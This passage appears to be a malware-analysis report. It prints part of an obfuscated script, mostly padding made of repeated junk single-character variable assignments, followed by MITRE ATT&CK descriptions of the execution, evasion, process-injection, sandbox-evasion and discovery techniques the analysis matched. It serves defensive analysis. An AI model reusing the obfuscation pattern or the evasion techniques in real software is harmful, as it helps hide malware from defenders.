712	jsxccwdem = "k";
713	jsxccwdem = "P";
714	jsxccwdem = "q";
715	jsxccwdem = "M";
716	jsxccwdem = "\"";
717	xbuyhofxw = "D";
718	xbuyhofxw = "L";
719	xbuyhofxw = "p";
720	xbuyhofxw = "v";
721	xbuyhofxw = "r";
722	xbuyhofxw = "i";
723	xbuyhofxw = "k";
724	xbuyhofxw = "w";
725	xbuyhofxw = "a";
726	xbuyhofxw = "3";
727	hagqcy = "n";
728	hagqcy = "Y";
729	hagqcy = "C";
730	hagqcy = "R";
731	hagqcy = "L";
732	hagqcy = "F";
733	hagqcy = "j";
734	hagqcy = "i";
735	hagqcy = "j";
736	hagqcy = "i";
737	hagqcy = "J";
738	hagqcy = "E";
739	hagqcy = "V";
740	hagqcy = "N";
741	hagqcy = "m";
742	hagqcy = "F";
743	hagqcy = "K";
744	hagqcy = "G";
745	hagqcy = "f";
746	hagqcy = "M";
747	hagqcy = "E";
748	hagqcy = "x";
749	hagqcy = "u";
750	hagqcy = "l";
751	hagqcy = "a";
752	hagqcy = "L";
753	hagqcy = "c";
754	hagqcy = "g";
755	hagqcy = "M";
756	hagqcy = "f";
757	hagqcy = "B";
758	hagqcy = "d";
759	hagqcy = "Z";
760	hagqcy = "U";
761	iaiwyeao = "v";
762	iaiwyeao = "I";
763	iaiwyeao = "E";
764	iaiwyeao = "K";
765	iaiwyeao = "Q";
766	iaiwyeao = "v";
767	iaiwyeao = "O";
768	iaiwyeao = "a";
769	iaiwyeao = "v";
770	iaiwyeao = "F";
771	iaiwyeao = "U";
772	iaiwyeao = "x";
773	iaiwyeao = "w";
774	iaiwyeao = "D";
775	iaiwyeao = "h";
776	iaiwyeao = "A";
777	iaiwyeao = "E";
778	iaiwyeao = "W";
779	iaiwyeao = "Z";
780	iaiwyeao = "J";
781	iaiwyeao = "H";
782	iaiwyeao = "p";
783	iaiwyeao = "n";
784	iaiwyeao = "j";
785	iaiwyeao = "N";
786	iaiwyeao = "y";
787	iaiwyeao = "Q";
788	iaiwyeao = "w";
789	iaiwyeao = "s";
790	iaiwyeao = "H";
791	msejg = "f";
792	msejg = "w";
793	msejg = "B";
794	msejg = "C";
795	msejg = "s";
796	msejg = "h";
797	msejg = "C";
798	msejg = "f";
799	msejg = "I";
800	msejg = "r";
801	msejg = "f";
802	msejg = "F";
803	msejg = "r";
804	msejg = "x";
805	msejg = "p";
806	msejg = "R";
807	msejg = "y";
808	msejg = "N";
809	msejg = "e";
810	msejg = "L";
811	msejg = "v";
812	msejg = "M";
813	msejg = "E";
814	msejg = "u";
815	msejg = "m";
816	msejg = "c";
817	msejg = "k";
818	msejg = "y";
819	msejg = "M";
820	msejg = "u";
821	msejg = "V";
822	msejg = "m";
823	msejg = "J";
824	msejg = "a";
825	msejg = "M";
826	msejg = "I";
827	msejg = "h";
828	msejg = "h";
829	msejg = "q";
830	msejg = "J";
831	msejg = "A";
832	msejg = "u";
833	msejg = "Q";
834	msejg = "c";
835	ptizt = "V";
836	ptizt = "M";
837	ptizt = "W";
838	ptizt = "j";
839	ptizt = "r";
840	ptizt = "V";
841	ptizt = "H";
842	ptizt = "y";
843	ptizt = "g";
844	ptizt = "Y";
845	ptizt = "N";
846	ptizt = "L";
847	ptizt = "K";
848	ptizt = "B";
849	ptizt = "U";
850	ptizt = "s";
851	ptizt = "V";
852	ptizt = "K";
853	ptizt = "E";
854	ptizt = "J";
855	ptizt = "H";
856	ptizt = "m";
857	ptizt = "t";
858	ptizt = "b";
859	ptizt = "A";
860	ptizt = "X";
861	ptizt = "R";
862	ptizt = "g";
863	ptizt = "M";
864	ptizt = "f";
865	ptizt = "r";
866	ptizt = "g";
867	ptizt = "A";
868	ptizt = "e";
869	ptizt = "f";
870	ptizt = "I";
871	ptizt = "D";
872	ptizt = "Y";
873	ptizt = "v";
874	ptizt = "b";
875	ptizt = "C";
876	ptizt = "B";
877	ptizt = "i";
878	ptizt = "l";
879	ptizt = "i";
880	yhgseuoa = "r";
881	yhgseuoa = "k";
882	yhgseuoa = "v";
883	yhgseuoa = "A";
884	yhgseuoa = "u";
885	yhgseuoa = "b";
886	yhgseuoa = "r";
887	yhgseuoa = "G";
888	yhgseuoa = "U";
889	yhgseuoa = "m";
890	yhgseuoa = "X";
891	yhgseuoa = "q";
892	yhgseuoa = "x";
893	yhgseuoa = "D";
894	yhgseuoa = "k";
895	yhgseuoa = "f";
896	yhgseuoa = "Y";
897	yhgseuoa = "v";
898	yhgseuoa = "j";
899	yhgseuoa = "w";
900	yhgseuoa = "m";
901	yhgseuoa = "l";
902	yhgseuoa = "C";
903	yhgseuoa = "G";
904	yhgseuoa = "N";
905	yhgseuoa = "P";
906	yhgseuoa = "x";
907	yhgseuoa = "C";
908	yhgseuoa = "E";
909	yhgseuoa = "S";
910	yhgseuoa = "h";
911	yhgseuoa = "l";
912	yhgseuoa = "o";
913	yhgseuoa = "h";
914	yhgseuoa = "j";
915	yhgseuoa = "n";
916	yhgseuoa = "b";
917	yhgseuoa = "I";
918	yhgseuoa = "x";
919	yhgseuoa = "i";
920	yhgseuoa = "x";
921	yhgseuoa = "c";
922	yhgseuoa = "w";
923	uwiock = "h";
924	uwiock = "H";
925	uwiock = "h";
926	uwiock = "L";
927	uwiock = "D";
928	uwiock = "X";
929	uwiock = "O";
930	uwiock = "m";
931	uwiock = "i";
932	uwiock = "m";
933	uwiock = "o";
934	uwiock = "b";
935	uwiock = "N";
936	uwiock = "b";
937	uwiock = "p";
938	uwiock = "V";
939	uwiock = "P";
940	uwiock = "G";
941	uwiock = "Q";
942	uwiock = "R";
943	uwiock = "X";
944	uwiock = "h";
945	uwiock = "b";
946	uwiock = "t";
947	uwiock = "M";
948	uwiock = "f";
949	uwiock = "g";
950	uwiock = "f";
951	uwiock = "k";
952	uwiock = "Y";
953	uwiock = "Z";
954	uwiock = "R";
955	uwiock = "U";
956	uwiock = "E";
957	uwiock = "s";
958	uwiock = "Z";
959	uwiock = "g";
960	uwiock = "s";
961	uwiock = "s";
962	sbephqr = "c";
963	sbephqr = "o";
964	sbephqr = "j";
965	sbephqr = "q";
966	sbephqr = "I";
967	sbephqr = "y";
968	sbephqr = "I";
969	sbephqr = "G";
970	sbephqr = "h";
971	sbephqr = "Q";
972	sbephqr = "e";
973	sbephqr = "t";
974	sbephqr = "N";
975	sbephqr = "B";
976	sbephqr = "V";
977	sbephqr = "X";
978	sbephqr = "X";
979	sbephqr = "R";
980	sbephqr = "c";
981	sbephqr = "j";
982	sbephqr = "J";
983	sbephqr = "x";
984	sbephqr = "s";
985	sbephqr = "j";
986	wkwpa = "P";
987	wkwpa = "I";
988	wkwpa = "F";
989	wkwpa = "d";
990	mhmyz = "y";
991	mhmyz = "k";
992	mhmyz = "B";
993	mhmyz = "I";
994	mhmyz = "M";
995	mhmyz = "A";
996	mhmyz = "K";
997	mhmyz = "T";
998	mhmyz = "o";
999	mhmyz = "l";
1000	wurwygv = "z";
1001	wurwygv = "p";
1002	wurwygv = "J";
1003	wurwygv = "O";
1004	wurwygv = "q";
1005	wurwygv = "Q";
1006	wurwygv = "i";
1007	wurwygv = "E";
1008	wurwygv = "B";
1009	wurwygv = "j";
1010	wurwygv = "z";
1011	wurwygv = "f";
1012	wurwygv = "s";
1013	wurwygv = "m";
1014	wurwygv = "B";
1015	wurwygv = "u";
1016	wurwygv = "q";
1017	wurwygv = "q";
1018	wurwygv = "H";
1019	wurwygv = "V";
1020	wurwygv = "l";
1021	wurwygv = "A";
1022	wurwygv = "s";
1023	wurwygv = "C";
1024	wurwygv = "w";
1025	wurwygv = "n";
1026	wurwygv = "f";
1027	ebfwgr = "i";
1028	ebfwgr = "g";
1029	ebfwgr = "L";
1030	ebfwgr = "Q";
1031	yiiyk = "N";
1032	yiiyk = "K";
1033	yiiyk = "A";
1034	yiiyk = "n";
1035	yiiyk = "F";
1036	yiiyk = "H";
1037	yiiyk = "D";
1038	yiiyk = "d";
1039	yiiyk = "U";
1040	yiiyk = "m";
1041	scijfyby = "F";
1042	scijfyby = "U";
1043	scijfyby = "R";
1044	cdhsikwpz = "s";
1045	cdhsikwpz = "q";
1046	cdhsikwpz = "N";
1047	cdhsikwpz = "r";
1048	cdhsikwpz = "M";
1049	cdhsikwpz = "H";
1050	cdhsikwpz = "e";
1051	cdhsikwpz = "T";
1052	cdhsikwpz = "A";
1053	cdhsikwpz = "w";
1054	cdhsikwpz = "V";
1055	cdhsikwpz = "Z";
1056	cdhsikwpz = "M";
1057	cdhsikwpz = "l";
1058	cdhsikwpz = "w";
1059	cdhsikwpz = "R";
1060	cdhsikwpz = "j";
1061	cdhsikwpz = "p";
1062	cdhsikwpz = "G";
1063	cdhsikwpz = "B";
1064	cdhsikwpz = "j";
1065	cdhsikwpz = "Z";
1066	cdhsikwpz = "Z";
1067	cdhsikwpz = "A";
1068	cdhsikwpz = "j";
1069	cdhsikwpz = "r";
1070	cdhsikwpz = "U";
1071	cdhsikwpz = "q";
1072	cdhsikwpz = "I";
1073	cdhsikwpz = "W";
1074	cdhsikwpz = "b";
1075	cdhsikwpz = "@";
1076	wtovydp = "i";
1077	wtovydp = "C";
1078	wtovydp = "r";
1079	wtovydp = "d";
1080	wtovydp = "s";
1081	wtovydp = "y";
1082	wtovydp = "T";
1083	wtovydp = "l";
1084	wtovydp = "f";
1085	wtovydp = "I";
1086	wtovydp = "S";
1087	wtovydp = "v";
1088	wtovydp = "Q";
1089	wtovydp = "h";
1090	wtovydp = "r";
1091	wtovydp = "X";
1092	wtovydp = "L";
1093	wtovydp = "J";
1094	wtovydp = "t";
1095	wtovydp = "B";
1096	wtovydp = "z";
1097	wtovydp = "i";
1098	wtovydp = "J";
1099	wtovydp = "K";
1100	wtovydp = "K";
1101	wtovydp = "H";
1102	wtovydp = "C";
1103	wtovydp = "p";
1104	wtovydp = "X";
1105	wtovydp = "Y";
1106	wtovydp = "M";
1107	wtovydp = "j";
1108	wtovydp = "l";
1109	wtovydp = "c";
1110	wtovydp = "x";
1111	wtovydp = "A";
1112	wtovydp = "q";
1113	wtovydp = "F";
1114	wtovydp = "w";
1115	wtovydp = "k";
1116	wtovydp = "v";
1117	wtovydp = "R";
1118	wtovydp = "5";
1119	czgeboy = "G";
1120	czgeboy = "X";
1121	czgeboy = "E";
1122	czgeboy = "F";
1123	czgeboy = "P";
1124	czgeboy = "h";
1125	czgeboy = "j";
1126	czgeboy = "A";
1127	czgeboy = "t";
1128	czgeboy = "z";
1129	czgeboy = "I";
1130	czgeboy = "T";
1131	czgeboy = "g";
1132	czgeboy = "c";
1133	czgeboy = "z";
1134	czgeboy = "T";
1135	czgeboy = "m";
1136	czgeboy = "r";
1137	czgeboy = "T";
1138	czgeboy = "z";
1139	czgeboy = "i";
1140	czgeboy = "f";
1141	czgeboy = "m";
1142	czgeboy = "v";
1143	czgeboy = "h";
1144	czgeboy = "C";
1145	czgeboy = "U";
1146	czgeboy = "u";
1147	czgeboy = "z";
1148	czgeboy = "d";
1149	czgeboy = "c";
1150	czgeboy = "d";
1151	czgeboy = "c";
1152	czgeboy = "Y";
1153	jamcvmzn = "M";
1154	jamcvmzn = "N";
1155	jamcvmzn = "y";
1156	jamcvmzn = "Y";
1157	jamcvmzn = "v";
1158	jamcvmzn = "k";
1159	jamcvmzn = "M";
1160	jamcvmzn = "O";
1161	jamcvmzn = "k";
1162	jamcvmzn = "Z";
1163	jamcvmzn = "E";
1164	jamcvmzn = "Z";
1165	jamcvmzn = "B";
1166	jamcvmzn = "J";
1167	jamcvmzn = "E";
1168	jamcvmzn = "I";
1169	jamcvmzn = "R";
1170	jamcvmzn = "T";
1171	jamcvmzn = "Z";
1172	jamcvmzn = "r";
1173	jamcvmzn = "k";
1174	jamcvmzn = "K";
1175	jamcvmzn = "U";
1176	jamcvmzn = "A";
1177	jamcvmzn = "V";
1178	jamcvmzn = "e";
1179	jamcvmzn = "l";
1180	jamcvmzn = "v";
1181	jamcvmzn = "G";
1182	jamcvmzn = "S";
1183	jamcvmzn = "A";
1184	jamcvmzn = "N";
1185	jamcvmzn = "K";
1186	jamcvmzn = "k";
1187	jamcvmzn = "c";
1188	jamcvmzn = "l";
1189	jamcvmzn = "O";
1190	jamcvmzn = "I";
1191	jamcvmzn = "k";
1192	jamcvmzn = "Y";
1193	jamcvmzn = "M";
1194	jamcvmzn = "F";
1195	qdkha = "u";
1196	qdkha = "D";
1197	qdkha = "D";
1198	qdkha = "K";
1199	qdkha = "L";
1200	qdkha = "b";
1201	qdkha = "T";
1202	qdkha = "f";
1203	qdkha = "Q";
1204	qdkha = "y";
1205	qdkha = "W";
1206	qdkha = "k";
1207	qdkha = "X";
1208	qdkha = "I";
1209	qdkha = "t";
1210	qdkha = "a";
1211	qdkha = "B";
1212	qdkha = "K";
1213	qdkha = "G";
1214	qdkha = "c";
1215	qdkha = "X";
1216	qdkha = "L";
1217	qdkha = "R";
1218	qdkha = "g";
1219	qdkha = "q";
1220	qdkha = "F";
1221	qdkha = "o";
1222	smqquwtu = "z";
1223	smqquwtu = "P";
1224	smqquwtu = "c";
1225	smqquwtu = "L";
1226	smqquwtu = "G";
1227	smqquwtu = "x";
1228	smqquwtu = "V";
1229	smqquwtu = "P";
1230	smqquwtu = "K";
1231	smqquwtu = "Z";
1232	smqquwtu = "g";
1233	smqquwtu = "S";
1234	smqquwtu = "o";
1235	smqquwtu = "f";
1236	smqquwtu = "E";
1237	smqquwtu = "X";
1238	smqquwtu = "y";
1239	smqquwtu = "a";
1240	smqquwtu = "Y";
1241	smqquwtu = "N";
1242	smqquwtu = "E";
1243	smqquwtu = "J";
1244	smqquwtu = "r";
1245	smqquwtu = "o";
1246	smqquwtu = "l";
1247	smqquwtu = "l";
1248	smqquwtu = "j";
1249	smqquwtu = "B";
1250	smqquwtu = "6";
1251	nuapp = "z";
1252	nuapp = "E";
1253	nuapp = "s";
1254	nuapp = "T";
1255	nuapp = "d";
1256	nuapp = "p";
1257	nuapp = "o";
1258	nuapp = "g";
1259	nuapp = "S";
1260	nuapp = "U";
1261	nuapp = "t";
1262	nuapp = "Z";
1263	nuapp = "V";
1264	nuapp = "K";
1265	nuapp = "c";
1266	nuapp = "I";
1267	nuapp = "c";
1268	nuapp = "D";
1269	nuapp = "R";
1270	nuapp = "D";
1271	nuapp = "X";
1272	nuapp = "i";
1273	nuapp = "h";
1274	nuapp = "E";
1275	nuapp = "p";
1276	nuapp = "K";
1277	nuapp = "k";
1278	nuapp = "r";
1279	nuapp = "f";
1280	nuapp = "y";
1281	nuapp = "k";
1282	nuapp = "I";
1283	nuapp = "s";
1284	nuapp = "R";
1285	nuapp = "K";
1286	nuapp = "p";
1287	nuapp = "v";
1288	nuapp = "c";
1289	nuapp = "l";
1290	nuapp = "Z";
1291	nuapp = "M";
1292	nuapp = "E";
1293	nuapp = "R";
1294	nuapp = "N";
1295	nuapp = "v";
1296	cmezhdl = "b";
1297	sdgfsdbg = "f";
1298	sdgfsdbg = "u";
1299	sdgfsdbg = "p";
1300	sdgfsdbg = "V";
1301	sdgfsdbg = "q";
1302	sdgfsdbg = "X";
1303	sdgfsdbg = "k";
1304	sdgfsdbg = "U";
1305	sdgfsdbg = "M";
1306	sdgfsdbg = "u";
1307	sdgfsdbg = "B";
1308	sdgfsdbg = "r";
1309	sdgfsdbg = "T";
1310	sdgfsdbg = "u";
1311	sdgfsdbg = "v";
1312	sdgfsdbg = "U";
1313	sdgfsdbg = "H";
1314	sdgfsdbg = "S";
1315	sdgfsdbg = "c";
1316	sdgfsdbg = "B";
1317	sdgfsdbg = "v";
1318	sdgfsdbg = "z";
1319	sdgfsdbg = "L";
1320	sdgfsdbg = "O";
1321	sdgfsdbg = "x";
1322	sdgfsdbg = "p";
1323	sdgfsdbg = "Y";
1324	sdgfsdbg = "y";
1325	sdgfsdbg = "U";
1326	sdgfsdbg = "a";
1327	sdgfsdbg = "O";
1328	sdgfsdbg = "Z";
1329	sdgfsdbg = "W";
1330	sdgfsdbg = "q";
1331	sdgfsdbg = "p";
1332	sdgfsdbg = "J";
1333	sdgfsdbg = "b";
1334	sdgfsdbg = "&";
1335	irtdbpgck = "W";
1336	irtdbpgck = "v";
1337	irtdbpgck = "w";
1338	irtdbpgck = "Q";
1339	irtdbpgck = "d";
1340	irtdbpgck = "g";
1341	irtdbpgck = "m";
1342	irtdbpgck = "V";
1343	irtdbpgck = "S";
1344	irtdbpgck = "D";
1345	irtdbpgck = "A";
1346	irtdbpgck = "j";
1347	irtdbpgck = "U";
1348	irtdbpgck = "e";
1349	irtdbpgck = "f";
1350	irtdbpgck = "G";
1351	irtdbpgck = "g";
1352	irtdbpgck = "w";
1353	irtdbpgck = "x";
1354	irtdbpgck = "k";
1355	irtdbpgck = "k";
1356	bctdhle = "Z";
1357	bctdhle = "X";
1358	bctdhle = "p";
1359	bctdhle = "I";
1360	bctdhle = "i";
1361	bctdhle = "N";
1362	bctdhle = "w";
1363	bctdhle = "P";
1364	bctdhle = "r";
1365	bctdhle = "i";
1366	bctdhle = "Z";
1367	bctdhle = "Q";
1368	bctdhle = "P";
1369	bctdhle = "O";
1370	bctdhle = "C";
1371	bctdhle = "D";
1372	bctdhle = "b";
1373	bctdhle = "r";
1374	bctdhle = "x";
1375	bctdhle = "e";
1376	bctdhle = "M";
1377	bctdhle = "E";
1378	bctdhle = "I";
1379	bctdhle = "w";
1380	bctdhle = "n";
1381	bctdhle = "P";
1382	bctdhle = " ";
1383	osthoo = "n";
1384	osthoo = "z";
1385	osthoo = "d";
1386	osthoo = "n";
1387	osthoo = "/";
1388	exrgm = "b";
1389	exrgm = "R";
1390	exrgm = "b";
1391	exrgm = "U";
1392	exrgm = "F";
1393	exrgm = "I";
1394	exrgm = "E";
1395	exrgm = "I";
1396	exrgm = "E";
1397	exrgm = "u";
1398	exrgm = "M";
1399	exrgm = "R";
1400	exrgm = "g";
1401	exrgm = "b";
1402	exrgm = "r";
1403	exrgm = "D";
1404	exrgm = "U";
1405	exrgm = "-";
1406	txzpq = "x";
1407	txzpq = "q";
1408	txzpq = "Q";
1409	txzpq = "H";
1410	txzpq = "j";
1411	txzpq = "V";
1412	txzpq = "Q";
1413	txzpq = "l";
1414	txzpq = "V";
1415	txzpq = "t";
1416	txzpq = "t";
1417	txzpq = "S";
1418	txzpq = "P";
1419	txzpq = "c";
1420	txzpq = "G";
1421	txzpq = "t";
1422	txzpq = "j";
1423	txzpq = "A";
1424	txzpq = "c";
1425	txzpq = "s";
1426	txzpq = "Z";
1427	txzpq = "L";
1428	txzpq = "P";
1429	txzpq = "K";
1430	txzpq = "z";
1431	txzpq = "C";
1432	txzpq = "F";
1433	txzpq = "K";
1434	txzpq = "F";
1435	txzpq = "o";
1436	txzpq = "q";
1437	txzpq = "r";
1438	txzpq = "m";
1439	txzpq = "0";
1440	ozjubvx = "u";
1441	ozjubvx = "n";
1442	ozjubvx = "L";
1443	ozjubvx = "h";
1444	ozjubvx = "x";
1445	ozjubvx = "U";
1446	ozjubvx = "a";
1447	ozjubvx = "c";
1448	ozjubvx = "C";
1449	thqanqq = "R";
1450	thqanqq = "2";
1451	ejkjblj = "g";
1452	ejkjblj = "p";
1453	ejkjblj = "u";
1454	ejkjblj = "t";
1455	ejkjblj = "j";
1456	ejkjblj = "V";
1457	ejkjblj = "P";
1458	ejkjblj = "M";
1459	ejkjblj = "L";
1460	ejkjblj = "c";
1461	ejkjblj = "f";
1462	ejkjblj = "l";
1463	ejkjblj = "Y";
1464	ejkjblj = "p";
1465	ejkjblj = "m";
1466	ejkjblj = "c";
1467	ejkjblj = "N";
1468	wewldall = "V";
1469	wewldall = "n";
1470	wewldall = "f";
1471	wewldall = "a";
1472	wewldall = "N";
1473	wewldall = "a";
1474	rvyeee = "i";
1475	rvyeee = "X";
1476	rvyeee = "s";
1477	rvyeee = "K";
1478	rvyeee = "T";
1479	rvyeee = "G";
1480	rvyeee = "J";
1481	rvyeee = "C";
1482	rvyeee = "s";
1483	rvyeee = "E";
1484	rvyeee = "X";
1485	rvyeee = "w";
1486	rvyeee = "F";
1487	rvyeee = "X";
1488	rvyeee = "d";
1489	rvyeee = "u";
1490	rvyeee = "E";
1491	rvyeee = "U";
1492	rvyeee = "T";
1493	rvyeee = "u";
1494	rvyeee = "a";
1495	rvyeee = "q";
1496	rvyeee = "o";
1497	rvyeee = "p";
1498	rvyeee = "X";
1499	rvyeee = "Q";
1500	rvyeee = "z";
1501	rvyeee = "H";
1502	rvyeee = "N";
1503	rvyeee = "E";
1504	rvyeee = "k";
1505	rvyeee = "N";
1506	rvyeee = "j";
1507	rvyeee = "f";
1508	rvyeee = "O";
1509	hyxcp = "n";
1510	hyxcp = "Y";
1511	hyxcp = "n";
1512	hyxcp = "H";
1513	hyxcp = "f";
1514	hyxcp = "m";
1515	hyxcp = "Y";
1516	hyxcp = "M";
1517	hyxcp = "t";
1518	hyxcp = "s";
1519	hyxcp = "d";
1520	hyxcp = "u";
1521	hyxcp = "k";
1522	hyxcp = "w";
1523	hyxcp = "z";
1524	hyxcp = "D";
1525	hyxcp = "K";
1526	hyxcp = "g";
1527	hyxcp = "T";
1528	hyxcp = "A";
1529	hyxcp = "r";
1530	jlfnimz = "a";
1531	jlfnimz = "y";
1532	jlfnimz = "a";
1533	jlfnimz = "Q";
1534	jlfnimz = "P";
1535	jlfnimz = "s";
1536	jlfnimz = "t";
1537	jlfnimz = "U";
1538	jlfnimz = "n";
1539	jlfnimz = "V";
1540	jlfnimz = "G";
1541	jlfnimz = "p";
1542	jlfnimz = "s";
1543	jlfnimz = "J";
1544	jlfnimz = "u";
1545	jlfnimz = "t";
1546	jlfnimz = "j";
1547	jlfnimz = "i";
1548	jlfnimz = "z";
1549	jlfnimz = "b";
1550	jlfnimz = "Z";
1551	jlfnimz = "V";
1552	jlfnimz = "J";
1553	jlfnimz = "X";
1554	jlfnimz = "A";
1555	jlfnimz = "V";
1556	jlfnimz = "i";
1557	jlfnimz = "c";
1558	jlfnimz = "f";
1559	jlfnimz = "W";
1560	jlfnimz = ":";
1561	xkkgqukrj = "Z";
1562	xkkgqukrj = "U";
1563	xkkgqukrj = "Q";
1564	xkkgqukrj = "N";
1565	xkkgqukrj = "N";
1566	xkkgqukrj = "w";
1567	xkkgqukrj = "X";
1568	xkkgqukrj = "P";
1569	xkkgqukrj = "g";
1570	xkkgqukrj = "g";
1571	xkkgqukrj = "l";
1572	xkkgqukrj = "v";
1573	xkkgqukrj = "q";
1574	xkkgqukrj = "t";
1575	xkkgqukrj = "L";
1576	xkkgqukrj = "U";
1577	xkkgqukrj = "B";
1578	xkkgqukrj = "P";
1579	xkkgqukrj = "o";
1580	xkkgqukrj = "b";
1581	xkkgqukrj = "U";
1582	xkkgqukrj = "w";
1583	xkkgqukrj = "c";
1584	xkkgqukrj = "N";
1585	xkkgqukrj = "D";
1586	xkkgqukrj = "x";
1587	xkkgqukrj = "e";
1588	xkkgqukrj = "u";
1589	xkkgqukrj = "P";
1590	xkkgqukrj = "w";
1591	xkkgqukrj = "C";
1592	xkkgqukrj = "U";
1593	xkkgqukrj = "i";
1594	xkkgqukrj = "v";
1595	xkkgqukrj = "a";
1596	xkkgqukrj = "a";
1597	xkkgqukrj = "o";
1598	xkkgqukrj = "d";
1599	xkkgqukrj = "e";
1600	xkkgqukrj = "h";
1601	xkkgqukrj = "h";
1602	xkkgqukrj = "C";
1603	xkkgqukrj = "8";
1604	rluqh ( );	rluqh() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

